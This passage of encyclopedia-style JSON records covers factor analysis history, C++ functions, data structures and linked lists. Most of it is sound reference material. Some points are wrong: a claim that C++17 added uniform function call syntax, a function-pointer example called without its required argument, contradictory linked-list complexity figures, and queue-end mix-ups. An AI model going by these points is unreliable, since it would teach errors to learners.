perform Factor Analysis?\n\nIn R language (which is free and open source), factor analysis can be performed easily thanks to the `psych` package. EFA can be performed using your choice of method: MinRes, PAF, ULS, WLS or ML. The `scree` function can help in determining the number of significant factors. An alternative to this is **parallel analysis** that can be done using the `fa.parallel` function. \n\nAn example of a commercial product is JMP of SAS. The Multivariate platform of JMP can do both PCA and FA. SPSS is another commercial product that can do both PCA and EFA. \n\n## Milestones\n\n1884\n\nThe genesis of factor analysis is in human personality psychology: to identify attributes and then categorize them into a structural model. Francis Galton uses a dictionary to identify terms that describe personality. However, he fails to come up with a model. \n\n1901\n\nSpearman gets interested in the work of Galton. In a paper published in 1904, he uses the terms *factor* and *loadings*, although he doesn't describe the methods he used for factorizing. \n\n1934\n\nL.L. Thurstone, considered the *father of factor analysis*, uses 60 terms across 1300 subjects to arrive at five broad factors. He doesn't pursue his analysis further. R.B. Cattell identifies at least a dozen factors in the 1940s but it's Donald Fiske who shows that they reduce to five factors. \n\n1960\n\nHarry Harman introduces **Minimum Residuals (MinRes)**, an approach to factor analysis via least squares. \n\n1966\n\nTo determine how many factors to retain, R.B. Cattell proposes a graphical method called the **Scree Plot**, a plot of eigenvalues vs. factors. \n\n1969\n\nThe term **Confirmatory Factor Analysis (CFA)** is introduced. Prior to this, factor analysis was exploratory in nature but the \"exploratory\" prefix was not used. \n\n1980\n\nFollowing Fiske and other researchers after him, it's in the 1980s that the **Big-Five** factor structure to describe human personality finally takes shape. This goes to prove that finding the correct number of factors, and identifying those factors, is not a trivial problem.","meta":{"title":"Factor Analysis","href":"factor-analysis"}}
{"text":"# Functions in C++\n\n## Summary\n\n\nA function is a block of code that typically performs a specific task. Functions help manage complexity in a large program by breaking it down into smaller manageable parts. Functions make programs easier to read, debug and understand. They introduce modularity into a program. \n\nWithin a given program scope, each function has a unique name. A function can be called with arguments. After performing its operations on those arguments, a function can return a value. Arguments and return value are optional. \n\nC++ adopts and extends C functions in terms of syntax and functionality. Since C++ is object-oriented, we also have member functions that are part of classes. C++ standard libraries supply a number of functions that developers can use. In addition, developers can define and call their own custom functions. Every program requires and starts execution from the `main()` function.\n\n## Discussion\n\n### What are the different components of function?\n\nA function consists of three components:\n\n    + **Function Prototype/Declaration**: Declares the function before it's used. The prototype tells the compiler about the function's return type and the arguments passed, which is used to validate function definition and function calls. Arguments need not be named in the prototype. The function declaration itself is not necessary if the function is defined before it is called. Syntax: `return_type function_name (parameter_list);`\n    + **Function Definition**: The block of statements enclosed within curly braces. Also called function body. The parameters present in the function definition are called *formal parameters*. Syntax: `return_type function_name (parameter_list) {…}`\n    + **Function Call**: Actual call to the function for execution of its body. The parameters present in the function call are called *actual arguments*. Actual arguments replace the formal parameters at the time of the function call. Syntax: `function_name (parameter_list)`The figure shows prototypes of function `rad2deg` and member functions `Sector::Sector` (constructor) and `Sector::degrees`. Code shows the common practice of putting declarations in header files and definitions in CPP source files. When `sector.cpp` is compiled, compiler sees the prototype of `rad2deg` via the inclusion of `utils.h`. \n\n\n### How is a C++ function different from a C function?\n\nIn C, if function `func` is called before it's declared, compiler assumes the implicit declaration `extern int func();`. C++ requires explicit function declarations. In terms of function definitions, C++ extends the C syntax with try block for exception handling. For member functions, C++ adds constructor initializer, and `=default;` and `=delete;` specifiers. \n\nIn C++ function definitions, parameters need not be named but C requires that all parameters be named. Unnamed parameters can't be referenced in function body. They're simply placeholders for future code evolution. \n\nIn old C, functions could be called by any number or type of arguments, which sometimes resulted in undesired output. For better type checking and safer code, standard C/C++ introduced the prototype. A C++ function prototype with empty argument list implies zero arguments but in C this could mean an indeterminate number of arguments. To denote an empty list consistently in both C and C++, we could use \"void\" instead, `func_name(void)`. \n\n\n### Could you describe C++ storage class specifier, function specifier and return type specifier?\n\nStorage class specifiers determine linkage. If `static`, such a function is visible only within the current translation unit, which is typically the current file. Thus, other files can't access this function. In C, `inline` specifier also makes the function static. In C++, use of `static` is deprecated. Instead, an unnamed namespace should be used. To call a function from other translation units, `extern` can be used, which is also the default when no storage class specifier is mentioned. \n\nThere are many function specifiers. The `inline` specifier inserts code in-place. Member functions can be defined as `virtual`. `constexpr` enables compile-time optimization. `_cdecl` specifies C linkage conventions. `_Export` makes the function available to other modules. `explicit` disables implicit conversions involving constructors. `_Noreturn` indicates that function doesn't return to the caller. \n\nA function return type can be any value except an array or a function. Pointers to an array or a function may be returned. In C++, a reference can be returned and `void` if nothing is returned. When return type is not specified, by default C functions assume `int` is returned. \n\n\n### Could you explain use of specifiers virtual and inline on functions?\n\nSpecifier `virtual` is applicable to member functions. Virtual functions in C++ help implement *runtime polymorphism*, which is about designing a unified interface but with different runtime behaviours. A virtual function in the base class presents a unified interface for derived classes and their users. A derived class can override the base class virtual function with its own specialized behaviour. The virtual specifier tells the compiler to check the type of object at the runtime and then call the correct derived class function. \n\nA pure virtual function is a virtual function without an implementation. It's assigned to zero, `virtual int func () = 0;`. Such a class, called an **abstract class**, can't be instantiated. It's derived class can be instantiated provided the latter defines an implementation of all pure virtual functions of its base classes. \n\nSpecifier `inline` replaces the function call with the function body. This avoids the runtime overhead of a function call at the expense of program size. Member functions defined within class declarations are automatically defined inline. Inline is only a suggestion to the compiler. Compiler is free to ignore it. \n\n\n### What is a const and constexpr function?\n\nThe `const` *keyword* in C++ is used to prevent accidental modification of the object that it is applied to. The `const` keyword always binds to the left. In case, there's nothing on the left, it binds to the right. We show two examples: \n\n    + `const T& func();`: Function returns a constant reference to object of type `T`.\n    + `int T::func() const;`: Declares a constant member function of class `T`. This function can't modify data members of the class. Note that `const` keyword comes after the function identifier and parameters. In general, this is called *cv\\_qualifier\\_seq*, referring to `const` and `volatile` member functions. It's part of the function declarator.The `constexpr` *specifier* specifies that the particular value can be evaluated at compile time. By computing the values at compile time, runtime performance can be improved. However, `constexpr` is only a suggestion to the compiler. The compiler may choose to ignore it, particularly when the function doesn't satisfy conditions to yield a constant expression.\n\nIn conclusion, `constexpr` is for optimization whereas `const` prevents modification of class data members. `constexpr` can be used for non-member and member functions but `const` is applicable only for member functions. \n\n\n### What are the ways to pass arguments to a function?\n\nC++ supports three argument-passing mechanisms:\n\n    + **Call by Value**: Value is copied from the caller and passed into the function. The argument variable at the caller and that within the function occupy different memory locations. The function works on its own copy and any changes are visible only inside the function. The caller's argument variable is not affected.\n    + **Call by Reference**: Reference of the caller's argument variable is copied into the function. Due to the reference, the function \"refers\" to the same object as the caller. If any changes are made, the original value is modified and caller sees those changes.\n    + **Call by Pointer**: This is similar to call by reference, except for a legacy syntax coming from C. Pointer contains a low-level memory location of the object. When a pointer is passed, the function \"points\" to the same object as the caller. If any changes are made, the original value is modified and caller sees those changes.A function can use a mix of the above: some arguments are passed by value, some are by reference and the rest by pointer.\n\n\n### What's the difference between function overloading and function overriding?\n\nIn C++, **function overloading** is a concept in which two or more functions can have the same name but different number or types of parameters. Function overloading is not possible when two C++ functions differ only by the return type. It's achieved at compile time. Function overloading is possible with member functions as well. \n\nIn the case of inheritance, when a derived class overwrites a virtual function in the base class, the concept is referred to as **function overriding**. When function calls are made on base class objects, execution should call the correct function of the applicable derived class. This information is either not available or hard to achieve at compile time. Thus, function overriding is achieved at runtime. \n\nWhere a derived class overwrites a non-virtual function in the base class, then the concept is called **name hiding**. This is achieved at compile time. \n\n\n### What's operator overloading in C++?\n\nExamples of operators are `+`, `*`, `>>`, and many more. When such operators are applied to standard types such as integers, strings or floating-point numbers, C++ uses different underlying implementations. Thus, addition of two strings is a different function call compared to addition of two integers. We may say that the operator is overloaded. This is similar to function overloading where the overloaded functions differ by the number or types of arguments. An overloaded operator is called an **operator function**. \n\nSuppose we define a custom class named `Complx` and wish to add two objects `c1` and `c2` of this class. This is where operator overloading helps. We can create member function of prototype `Complx operator+(const Complx&) const;`. This function would do the actual addition. The function is invoked by `c1 + c2`, where `c2` is passed as argument to member function `c1`. \n\n\n### What's a function template in C++?\n\nSuppose we need a function to add two integers and another function to add two floating-point numbers. We can write two uniquely named functions. Or we can write two functions of same name (function overloading) but with differing argument types. With C++ templates, we can achieve this with a single function template. They also enable type-safe code. \n\nTemplates in C++ save developers the trouble of writing duplicated code for different data types. The parameters used in the template definition are of a generic data type and can be replaced by actual ones. \n\nTemplates are instantiated at compile time. The source code contains only one function template but the compiled code contains many functions, each specific to its data type. Instantiation can be implicit or explicit. Developers can also specialize the template with alternative implementations for specific combinations of template arguments. \n\n\n### What's a function pointer and what's its usage?\n\nA **function pointer** is used to store the address of a function. With a function pointer, we can dynamically select at runtime a particular function to execute, pass as arguments to other functions or use as return types. It's prototype in C++ takes the form `type(*ptr)(arg_list);`. \n\nConsider the example `int (*g)(int a);`, where `g` is a pointer to a function that accepts one integer argument and returns an integer. The extra bracket around the pointer name is necessary because in its absence the compiler may interpret it as a function that returns a pointer to an integer.  \n\nA function pointer can be a function argument, `void func(void (*f)(int)) { (*f)(); }`, where `f` is the function pointer. Given `void print(int a);`, `func(print)` is a valid function call. \n\nC++ also supports **references to functions**. The above example becomes `void func(void (&f)(int)) { f(); }` and the function call is `func(print)`. \n\n\n### What are some best practices when using C++ functions?\n\nFollowing best practices will lead to clean maintainable code:  \n\n    + A function should do only one task. A function that does multiple tasks is hard read, edit and unit test.\n    + Use inline functions instead of `#define` pre-processor directive. Don't inline large functions.\n    + Specify the return type of a function explicitly. Public functions mustn't return a reference or pointer to a local variable.\n    + When using function overloading, have semantic consistency. All overloaded functions should do the same task.\n    + Use `const` on an argument if function is not supposed to modify it. Rather than call by value, use `const &` to avoid the runtime overhead of calling the copy constructor and destructor.\n    + Prefer call by reference since the code is more readable than call by pointer.\n    + Don't assume call arguments will be processed in left-to-right order. No ordering is specified in C++ standard.\n    + Code should be self-explanatory. It makes the code easy to understand. Function and variable names should be descriptive of what they do. Comments should be given wherever needed.\n\n\n## Milestones\n\nApr  \n1979\n\nAt Bell Laboratories, inspired by Simula, Bjarne Stroustrup conceives the idea of *C with Classes*. This is later renamed to C++ (1984). \n\n1980\n\nBy now, the language includes base and derived classes with member functions, constructors and destructors, type checking and conversions for function arguments, inline functions, default arguments, and operator overloading for the `=` operator. For type checking, the language introduces `f(void)` as a better syntax to C's relaxed use of `f()`. Functions `call` and `return` are available but these are not accepted into C++ standard in the late 1980s.\n\n1983\n\n**Virtual functions** are introduced into the language. With this feature, its creators start calling it a language for object-oriented programming. \n\n1985\n\nStroustrup publishes first edition of his book *The C++ Programming Language*. This becomes the reference for C++ 1.0. Features described in this book include function and operator overloading, references, the keyword `const`, and scope resolution operator. References are introduced mainly to support operator overloading. \n\n1989\n\nC++ 2.0 is released. This includes support for abstract classes via **pure virtual functions**. Among other additions are better resolution of overloaded functions, `static` member functions, `const` member functions, and overloading of `->` operator. \n\n1990\n\nEllis and Stroustrup publish *The Annotated C++ Reference Manual*. This becomes a starting point for C++ standardization. This introduces **templates**, which is added into the C++ standard in September 1991. \n\nSep  \n2011\n\nISO publishes the C++11 standard, formally named ISO/IEC 14882:2011. This release includes `constexpr` functions, unnamed function objects called *lambdas*, variadic templates (arbitrary number of arguments), template aliases, and `noexcept` to ensure that the function doesn't throw an exception. \n\nDec  \n2017\n\nISO publishes the C++17 standard, formally named ISO/IEC 14882:2017. This introduces a **uniform function call syntax**. A function could be called in the object-oriented way `x.f(y)` or the functional way `f(x,y)`.","meta":{"title":"Functions in C++","href":"functions-in-c-plus-plus"}}
{"text":"# Data Structures\n\n## Summary\n\n\nIn today's data-driven world, we need to learn to manage data and perform operations on them to yield solutions to everyday problems. Data structures provide an efficient way to store and organize the data. They enable traversal, sorting, and searching through the data in the minimum time possible. \n\nData structures are the basic building blocks of a program. Choosing the right ones is important. Many languages provide built-in data structures that have their own properties. Programmers need to pick them carefully.\n\nHistorically, data structures were created when it became difficult to process and search through large amounts of data, and when it was hard to concurrently process data.\n\n## Discussion\n\n### What are the types of data structures?\n\nData structures can be broadly classified into linear and non-linear.\n\nIn **linear data structures** data is accessed in a linear order. Examples include array, linked list, stack and queue. Array is a collection of values that are stored sequentially. Linked list is a collection of data stored in non-contiguous locations connected by pointers. Stack is similar to a stack of plates. Insertion and deletion happen only at one end. Queue is similar to people waiting for their turn in a line. It has different ends for insertion and deletion.\n\n**Non-linear data structures** store data in a non-linear order. Examples include tree and graph. Trees exhibit a hierarchical structure starting from the root node to the leaf node. Graph is a collection of nodes called vertices connected by links called edges. \n\n\n### What are the essential characteristics of data structures?\n\nWe note the following: \n\n    + **Structure**: Linear or non-linear. Arrays and linked lists are linear since every item has a unique predecessor and successor (except first and last items). Trees, graphs and sets are non-linear.\n    + **Access**: Direct (aka random) or sequential. With arrays, items can be accessed directly via an index or key. With linked lists or graphs, an item is accessed by traversing preceding items.\n    + **Data Type**: Homogeneous or heterogeneous. Arrays often contain items of the same data type. Heterogeneous data structures contain items of different data types/structures. Classes in OOP are heterogeneous.\n    + **Abstraction**: Concrete or abstract. Concrete ones expose the implementation. Abstract ones define the interface but hide the implementation.\n    + **Uniqueness**: In sets, each item is unique while other data structures usually allow duplicates.\n    + **Operations**: Items can typically be added, removed, replaced or sorted in mutable data structures. Some operations may be constrained in some data structures. For instance, in static arrays items are not added or removed. Items are only appended at the end to queues. Sets have no order and hence items can't be sorted.\n\n### What is the time and space complexity of operations on data structures?\n\nCommon operations on data structure include:\n\n    + **Access**: Read or write of an item requires access. If access is sequential via other items, we call it traversing the data structure.\n    + **Insert**: Add another item to the data structure.\n    + **Delete**: Remove a specified item from the data structure.\n    + **Search**: Attempt to find a particular item in the data structure. Basic searching algorithms include linear search, binary search, etc.\n    + **Sort**: Some data can store items in a particular order. Sorting algorithms include selection sort and insertion sort. Sorting a data structure in advance may speed up searches.The choice of a data structure usually depends on the algorithm and most common operations on that data structure. If fast direct access is needed, arrays are preferred but not linked lists. If search is common, hash tables are preferred. If middle insertions/deletions are common, single/double linked lists are preferred but not arrays.  Stacks and queues have same performance as linked lists since they're often implemented from the latter.\n\n\n### What are the implementation aspects of data structures?\n\n**Memory allocation** for data structures can be static or dynamic. Static memory allocation is usually done at compile time and stack memory is used. Memory is freed when variable goes out of scope. With dynamic allocation, heap memory is used. Its size can grow or shrink during the lifetime of the program. \n\nWith arrays, items are stored **contiguously in memory**. Hence access is direct. Cache locality improves performance. With linked lists, items are not stored contiguously in memory. Access is sequential via pointers that take up extra space. In C++, `std::vector` is stored contiguously but not `std::list`. \n\n**Mutability** is another aspect. A data structure variable that can't be modified after initialization is immutable. Python's `tuple` and C++'s `const struct` are examples but any variable can be used in an immutable context. In functional programming, it's customary to accept an input data structure and return a modified one without changing the input. \n\n\n### Could you explain arrays and linked lists?\n\nArray is defined as a list of values stored at contiguous locations. Its elements are accessed using index, i.e. position of elements. The base address is the address of the first element. There are two types of arrays, **one-dimensional array** and **multi-dimensional array**. Two-dimensional arrays are similar to matrices in mathematics. Arrays are used to implement stacks, queues, etc. \n\nLinked list is a collection of nodes connected by links. Each node contains data and a pointer to the next node. They occupy non-sequential locations in memory, which is an advantage over arrays that need a chunk of contiguous space. The starting node is mostly called the head node, and the last node points to NULL.\n\nThere are many types of linked lists, some of which include, \n\n    + **Single linked list**: Starts from one end and ends at NULL, with next pointer at each node pointing to the next node.\n    + **Doubly linked list**: In addition to the next pointer, each node has a previous pointer that points to the previous node.\n    + **Circular linked list**: The last node connects to the head node instead of NULL.\n\n### What are the differences between stacks and queues?\n\nStack works on **Last-In, First-Out (LIFO)** principle where the element last inserted is deleted first. It has only one end called *top* where both insertion and deletion happen. Inserting an element in the stack is termed as a *push* operation where the top value is incremented. Deleting the element is termed as a *pop* operation where the top value is decremented. \n\nQueue works on **First-In, First-Out (FIFO)** principle where the element first inserted is deleted first. It has two ends called *front* where deletion happens and *rear* where deletion is performed. Inserting an element into a queue is termed as an *enqueue* operation, which increments rear value. Deletion of an element is called *dequeue* operation, which increments the front value.\n\nIf there's no more space left and an element is inserted into stack or queue, *overflow* occurs. If there's no element in the stack or queue and deletion is performed, *underflow* condition occurs. \n\nBoth stacks and queues can be implemented using arrays or linked lists. Stacks find application in recursion problems, whereas queues are used in scheduling algorithms.\n\n\n### Could you compare tree and graph data structures?\n\nBoth trees and graphs contain nodes and edges. Node is an entity that contains data. Nodes are also called vertices in graphs. Edges connect adjacent nodes, called adjacency in graphs. \n\nA tree with \\(n\\) nodes has \\(n-1\\) edges. Path is the sequence of nodes and edges from one node to another. Height of the tree is the path length from the root node to the deepest leaf node. In a graph, the degree of a vertex is the number of edges at that vertex. \n\nTree nodes are ordered but graph nodes are not. Tree has a root node and therefore a hierarchy is implied. Graph has no root node or hierarchy. In a tree, there's only one path between any two nodes and no loops. Graphs can contain loops and any pair of nodes may have multiple paths.\n\nFolders and files in computer file system are tree nodes. Facebook users and tags are graph nodes and their connections to other friends are the edges. Basically, tree is a minimally connected graph to represent a hierarchical model whereas graph represents a network model. \n\n\n### What are ADT and CDT in the context of data structures?\n\nAn **Abstract Data Type (ADT)** defines the data and the operations that can be performed on that data without specifying implementation details. Stacks and queues are examples of ADT. Developers use ADTs without bothering about the internal implementation of the operations being performed with the data. We call `push()` to insert new data and `pop()` to delete data, but don't care how these functions work. The idea of hiding the complexities and exposing only the essentials is the essence of *abstraction*. \n\nA **Concrete Data Type (CDT)** implements a simple way to organize data. The implementation is not hidden. Developers need to be aware of the implementation to operate on the data structure. CDTs include arrays, records, linked lists, trees and graphs. They can be combined or specialized to form other data structures. CDTs can be used to implement ADTs. For example, a linked list or a linear array may be used to implement stacks and queues. \n\nIt's possible to abstract CDTs into ADTs. For instance, arrays and records can be defined as ADTs so that implementation details are hidden. \n\n\n### When to use which data structure?\n\nAmong the known data structures, the correct data structure is the one that is efficient and is well suited to the problem. For that, one needs to know both strengths and limitations of a particular data structure.\n\nArray should be used if the amount of data is known beforehand, as it uses less memory and also offers the advantage of random access. It shouldn't be used if insertion and deletion of data is frequently involved. Linked list is used when constant insertion/deletion time is required and random access of elements is not needed.\n\nStack is used mainly for the recursion and backtracking problems, whereas queue is used when data is to be added and deleted from both ends. \n\nTrees are more memory efficient and can be used when more than one value has to be searched but require already sorted data. Graphs are mainly used in problems that involve finding the shortest paths, solving the maze game, networking, etc.\n\n\n### What are the applications of data structures?\n\nTwo-dimensional arrays (aka matrices) are used in image processing, mobile contact lists and online ticket booking systems.\n\nLinked lists are used for traversing images in image viewers. A user's webpage history is saved using a linked list. Music players uses a circular list to play all selected songs in a loop.\n\nStacks are used for converting infix expression to postfix expression and vice versa. Undo and Redo functions in any editor uses the stack. While writing a program, parentheses are matched using a stack. \n\nQueues are used by call centers to schedule calls. Requests to shared resources such as printers are managed with queues. CPU interrupts are handled using queues.\n\nTrees are used in database indexing, game development, and many decision-making tasks in machine learning. Pathfinding algorithms also utilize trees.\n\nGraphs are used in most social media platforms where every user is a node, and to find the shortest path between two users. Shopping websites use graphs to represent user preferences. \n\n\n### What data structures are provided by programming languages out of the box?\n\nThe basic concepts of data structures are the same across all languages, though with different implementations.\n\nArray exists in most languages. Some index it starting from zero and some from one. In C++, `std::vector` is the implementation of the dynamic array. Java uses `ArrayList` whereas Python uses `list`.\n\nLinked list is implemented using a `std::list` container in C++. In Java, the `LinkedList` class implements the `List` interface.\n\nStack is implemented as `Stack` class in Java. C++ has `Stack` in its template library.\n\nQueue exists as a module in Python. `LinkedList` class in Java offers a `Queue` interface. C++ has `std::queue` for queues. \n\nTrees and graphs don't exist explicitly in any language but can be implemented using fundamental types. For example, a tree is a kind of graph and a linked list is also a type of graph.\n\n## Milestones\n\n1945\n\nJohn von Neumann uses **arrays** when implementing the merge sort algorithm. The first digital computers during this period use arrays for data tables and vector or matrix operations. Subsequently, the early languages of the 1950s and 1960s such as Fortran, Algol, COBOL and BASIC use one-indexed arrays with support for multidimensional arrays. A later version of BASIC in 1980 uses zero-indexed arrays. \n\n1955\n\nKlaus Samelson and Friedrich L. Bauer introduce the **stack** data structure. They subsequently patent it in 1957. This invention comes about while creating a translator for ALGOL programs. A program is essentially a sequence of symbols but processing them is complex due to operator precedence and the use of parentheses. There's a need to evaluate some symbols later even when they appear earlier in the sequence. It's in this context that the stack data structure is invented. \n\n1956\n\nAllen Newell, Herbert A. Simon and J.C Shaw invent and implement **linked lists** and list processing for the development of artificial intelligence programs. **List processing** shows that programs need not have a fixed memory structure, that data structures can be chosen to suit the problem independent of hardware, and that symbol manipulation is the essence of computing. In 1959-60, this inspires McCarthy to create LISP to realize the full power of list processing.  By early 1960s, some languages use linked lists as their primary data structure. \n\n1960\n\nIn an attempt to improve time and space performance for processing data on magnetic tapes, Windley proposes the **tree** data structure. He defines tree as \"a network of points arranged in levels\" with the root point at the bottom and branches at higher levels. He shows that rearranging data as trees rather than by merging subsequently improves performance on data processing tasks. In 1961, Iverson at the IBM Research Center publishes a notation for trees. \n\n1975\n\nTarjan analyzes the performance of find and union operations on disjoint sets. Find operations are interspersed with union operations. Sets are represented as trees. He shows that when designing data structures, focusing on worst case running time is less important than **amortized running time**, that is, performance averaged over operations on a long sequence of input. He later invents the data structures **splay tree** (1980) and **Fibonacci heap** (1985), both of which achieve good amortized performance.","meta":{"title":"Data Structures","href":"data-structures"}}
{"text":"# Linked List (Data Structure)\n\n## Summary\n\n\nLinked list is a dynamic data structure whose memory is allocated dyamically. It provides constant time complexity when it comes to insertion or deletion of element at any position.  It is the second most used data structure after arrays. \n\nLinked list is a linear data structure, meaning that one data point follows another. It's a list of values that could be stored at non-contiguous locations in memory, called nodes, connected by links. Each node contains data and a pointer to the next node. Unlike arrays, linked lists don't allow random access. All access is sequential.\n\nJust as a train has coaches connected in a sequence, so are the nodes connected linearly in a linked list.\n\n## Discussion\n\n### What are the terms associated with linked lists?\n\nSome terms related to the linked list are as follows:  \n\n    + Node: a record in a linked list that contains a data field and a reference, a self-referential structure.\n    + `next` pointer: the field of a node that contains a reference to the next node.\n    + `prev` pointer: the field of the node that contains a reference to the previous node.\n    + Head Node: the first node of the linked list.\n    + Tail Node: the last node of the linked list.\n\n### What are the different types of linked lists?\n\n**Singly-Linked List** consists of nodes, starting from head node to `NULL`, where each node contains a data field and a `next` pointer.\n\n**Doubly-Linked List** consists of nodes, where each node contains a data field, a `next` pointer and a `prev` pointer. \n\n**Circular Linked List** is similar to a singly-linked list except that the last node instead of connecting to `NULL` connects to the first node, creating a ring.\n\n**Circular Doubly-Linked List** is a mixture of the circular and doubly-linked list which has two pointers `prev` and `next`, and the last node connects to the first node.\n\n**Multi-Linked List** consists of nodes, where each node contains a data field and two or more pointers. A doubly-linked list is a special case of the multi-linked list, which has two pointers that are the exact inverse of each other. These lists are typically used to implement different sorting of the nodes. For example, given student names and their marks, one set of pointers will sort by name and the other set by marks. \n\n\n### What's the time and space complexity of linked list operations?\n\nThe basic linked list operations with their associated complexity are as follows:\n\n    + **Access / Search**: Access is via the head node and additionally the tail node in case of doubly-linked list. There's no random access like in arrays. Access in the worst case requires O(n) time.  Presence of the head pointer and the tail pointer makes access of first and last node in O(1) time.\n    + **Insert**: First we need to reach the position at which the node has to be inserted is to be performed. The worst-case time complexity of insertion of a node into a linked list is O(1).\n    + **Delete**: First we need to reach the node that needs to be deleted. The worst-case time complexity of deletion of a node from a linked list is O(1).\n\n### How do insertions and deletions in linked lists work?\n\nFor insertions, we need to create a node, assign its value, insert it at the required position while updating the relevant pointers. For inserting node at the start, we need to link it to the current head node and then update the head pointer to the newly inserted node. For inserting node in the middle, we need to update the next pointer of previous node and next pointer of the inserted node. For inserting node at end, we have to traverse the whole linked list till we find the last node and then link it to newly created node. \n\nFor deletions, we first need to know the location of the node. For deleting node from the start, we need to head pointers to the next pointer of the first node. For deleting node in the middle, we need to link its previous node to its next node. For deleting a node at the end, we update the next pointer of the second-last node to `NULL`. \n\nThe above procedures have to be enhanced for doubly-linked lists and circular linked lists.\n\n\n### What are sentinel nodes in linked lists?\n\nImplementations of linked lists need to handle the special case when the list is empty. Head and tail pointers will be null in an empty list. These need to be handled specially in code. This complicates code and raises the possibility of bugs. To solve this problem, sentinel nodes are used.\n\nSentinel nodes are nodes at the ends of linked list and don't contain data. An empty doubly-linked list will have two sentinel nodes, called **header node** at the start and **trailer node** at the end. Head and tail pointers will point to these sentinel nodes.  \n\nIn a singly-linked list, only the header node will be present. Sometimes the term **Header Linked List** is used for such a list. The last node's next pointer could be null or point to the header node. \n\nThough sentinel nodes simplify code, they take up extra space. This may be an issue if the application uses many short lists. \n\n\n### What other data structures can be implemented using linked lists?\n\nLinked list, being a linear data structure, can be used to implement other linear data structures. In particular, linked list is a concrete data type. Stacks and queues, which are abstract data types, can be implemented in linked lists. A singly-linked list suffices for a stack (LIFO operation) whereas a doubly-linked list in needed for a queue (FIFO operation).\n\nTree and graphs are non-linear data structures. These can be implemented with linked list that need to be customized for non-linear storage. Algorithms that operate on these will also be different. For example, a node in a binary tree will have one parent and at most two children. A doubly-linked list node can be modified for this purpose: instead of `next` and `prev` pointers we have `left` and `right` pointers to link to the child nodes. Note that with this structure, we can get to the children from a parent but not vice versa.\n\nAny arbitrary non-linear storage (n-ary trees or graphs) can be implemented by introducing more pointers into each node of the linked list.\n\n\n### How are linked lists implemented in various programming languages?\n\nMost of the languages have built-in singly-linked lists, some have ADTs or templates to build linked lists.\n\nC++ has a `std::list` container to implement linked lists. It is a doubly-linked list with a head node. \n\nJava has the `LinkedList` class that implements the `List` interface. It's a doubly-linked list. \n\nPython does not have a built-in linked list. Python's `list` is a dynamic array. \n\nC# also has `LinkedList` as Java which is a doubly-linked list implementation. \n\nJavaScript has a list() in collection.js which uses doubly-linked list. \n\n\n### What are the different storage mechanisms for linked lists?\n\nThere are two ways to store node data: internal and external. Internal storage stores data within the node. External storage stores data elsewhere and only a reference to that data is stored within the node.  \n\nInternal storage is more cache-friendly, uses less metadata and simplifies memory management. External storage needs more memory to store the reference to the data. Getting to the data requires dereferencing. Otherwise, external storage is more generic since any type or size of data can be stored. Same data can be referenced from multiple linked lists. Linked lists with external storage can also be more easily adapted to new requirements. \n\n\n### How do arrays and linked lists compare in terms of performance?\n\nArray is a linear data structure by way of storing values in contiguous locations. Linked list is a linear by way of storing reference along with value. Array has better locality of reference than linked list and its memory access is predictable than that of linked list. Linked list utilises memory efficiently as it occupies non-contiguous locations limited only by system memory whereas dynamic array requires contiguous space and needs to be resized. .\n\nArray offers random access in O(1) time whereas linked list offers sequential access in O(n) time. When it comes to insertion and deletion of data, linked list is quite flexible and does it in constant O(1) time. However, if insertion or deletion require first searching for the element, the operations become O(n). Insertions and deletions in an array require O(n) at worst if elements need to be shifted. \n\nLinked list occupies more memory as compared to array because each node stores references to its next node. \n\n\n### How do I optimize linked lists for performance?\n\nSystem performance is often limited by memory access times and not CPU speeds. Performance is generally improved using data caches and pre-fetching data into the cache. Since elements of a linked list are often stored in different memory locations, caching and pre-fetching aren't effective. \n\nHowever, it's possible to improve performance by implementing custom memory management. For example, C++ STL allows use of a custom allocation with `list` and `forward_list`. Same allocator is used for all lists of a type, which is fine if there are many small lists to manage. Otherwise, we would need to implement custom linked list with allocator for each instance. One approach is to implement linked list using STL's `vector`. This can be improved with a *compact* operation to make the list more cache-friendly. \n\n**Unrolled linked list** is also cache-friendly. Multiple data elements are stored sequentially in a single node.  \n\nFor faster searches, **skip list** maintains layers of pointers, each layer skipping some elements. Where data filtering is a common operation, an STL `vector` backed by a bitset is one solution. \n\n\n### What are some real-world application of linked lists?\n\nA singly-linked list is used when a user views all the images from the gallery as a slideshow. Collision techniques use a singly-linked list to store all the data items in chains that map to the same value in a hash table. It can be used to keep a track of the user's webpage history.\n\nA doubly-linked list is used to implement the undo-redo function in any editor. It is used to implement the next and prev buttons while a user is browsing and wants to visit already visited web pages. A music player also uses a doubly-linked list to store the next and previous track and a circular linked list to play all the selected songs in a loop.\n\nA circular linked list is used to store all the processes in execution by an operating system. It loops over the list repetitively until all the processes exit the system. \n\n## Milestones\n\n1956\n\nAllen Newell, Herbert A. Simon and J.C Shaw invent and implement **linked lists** and list processing for the development of artificial intelligence programs. **List processing** shows that programs need not have a fixed memory structure, that data structures can be chosen to suit the problem independent of hardware, and that symbol manipulation is the essence of computing. \n\n1963\n\nBobrow and Raphael at the RAND Corporation compare four prominent list-processing languages: COMIT, IPL-V, LISP 1.5 and SLIP. They note that these are good for handling complex data structures requiring dynamic and unpredictable memory allocations. They compare data representation, storage allocation, stack implementations and recursive operations. In general, by the early 1960s, some languages use linked lists as their primary data structure. \n\n1994\n\n**C++ Standard Template Library (STL)** is released with support for the `list` sequence container, which implements a doubly-linked list. This container can be used to implement stacks and queues. For example, `queue<list<int> >` is a queue of integers using `list` container. In the ISO C++ 11 standard (Sep 2011), STL includes a singly-linked list named `forward_list`. This is more space-efficient compared to `list`. \n\n1998\n\nJ2SE 1.2 (aka internal version 1.2) is released. This release includes the `LinkedList` class (a doubly-linked list) that's an implementation of `List` and `Deque` interfaces.","meta":{"title":"Linked List (Data Structure)","href":"linked-list-data-structure"}}
